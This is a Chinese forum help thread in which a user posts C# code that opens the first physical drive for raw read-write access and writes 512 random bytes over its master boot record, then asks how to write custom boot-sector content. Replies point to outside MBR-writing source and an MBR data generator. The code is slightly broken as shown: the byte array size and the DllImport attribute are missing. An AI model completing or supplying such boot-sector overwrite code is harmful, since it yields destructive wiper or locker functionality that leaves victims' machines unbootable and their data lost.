【求助】C#写入引导区
本帖最后由 lizf2019 于 2021-8-12 09:58 编辑源码(一个类):
```
class test
{
static extern IntPtr CreateFile(
string FileName,
uint DesiredAccess,
uint ShareMode,
IntPtr SecurityAttributes,
uint CreationDisposition,
int FlagsAndAttributes,
IntPtr hTemplate
);
public const int FILE_FLAG_NO_BUFFERING = 0x20000000;
public static void Main()
{
IntPtr handle = CreateFile(@"\\.\PHYSICALDRIVE0", 0x40000000 | 0x80000000, 0, IntPtr.Zero, 3, FILE_FLAG_NO_BUFFERING, IntPtr.Zero);
Console.WriteLine(handle.ToString());
FileStream disk = new FileStream(handle, FileAccess.ReadWrite);
byte[] bt = new byte;
Random rnd = new Random();
rnd.NextBytes(bt);
for (int i = 0; i < bt.Length; i++)
{
Console.Write(bt.ToString("x2") + " ");
}
disk.Seek(0, SeekOrigin.Begin);
try
{
disk.Write(bt, 0, 512);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
```
求助:
1.如何指定写入内容(好像要按Unicode编码)
2.如要写入引导区调用是否为test.main 之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚) huorongrong 发表于 2021-8-12 10:40
之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚)
和楼主代码意思基本一样,引导区的数据能随便修改吗?
huorongrong 发表于 2021-8-12 10:40
之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚)
请问大佬呢512字节的数据在哪里体现了呢{:301_982:} lizf2019 发表于 2021-8-12 15:04
请问大佬呢512字节的数据在哪里体现了呢
之前收集的这个工具可以生成MBR的数据https://wwx.lanzoui.com/il0ipsk2b5g
我只是搬运{:301_999:}
页:
[1]